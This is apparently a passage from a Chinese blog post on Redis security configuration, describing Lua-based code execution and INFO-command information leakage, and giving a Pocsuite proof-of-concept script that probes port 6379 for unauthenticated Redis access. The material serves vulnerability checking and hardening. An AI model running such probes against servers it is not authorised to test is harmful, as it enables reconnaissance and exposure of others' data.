您当前的位置:首页 > 学海无涯 > 信息安全网站首页信息安全
Redis安装与安全配置
发布时间:2015-11-12作者:♂逸風★淩軒
3、代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
4、敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
五、漏洞验证
可以使用漏洞验证框架Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import urlparse from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = '89339' version = '1' author = ['Anonymous'] vulDate = '2015-10-26' createDate = '2015-10-26' updateDate = '2015-10-26' references = ['http://sebug.net/vuldb/ssvid-89339'] name = 'Redis 未授权访问 PoC' appPowerLink = 'http://redis.io/' appName = 'Redis' appVersion = 'All' vulType = 'Unauthorized access' desc = ''' redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。 ''' samples = [''] def _verify(self): result = {} payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' s = socket.socket() socket.setdefaulttimeout(10) try: host = urlparse.urlparse(self.url).netloc port = 6379 s.connect((host, port)) s.send(payload) recvdata = s.recv(1024) if recvdata and 'redis_version' in recvdata: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['Port'] = port except: pass s.close() return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC)
内容有参考 FreeBuf黑客与极客
关键字词:漏洞,服务搭建,安全配置,信息安全,redis

上一篇:ssh反弹相关操作
下一篇:Memcached安装与安全配置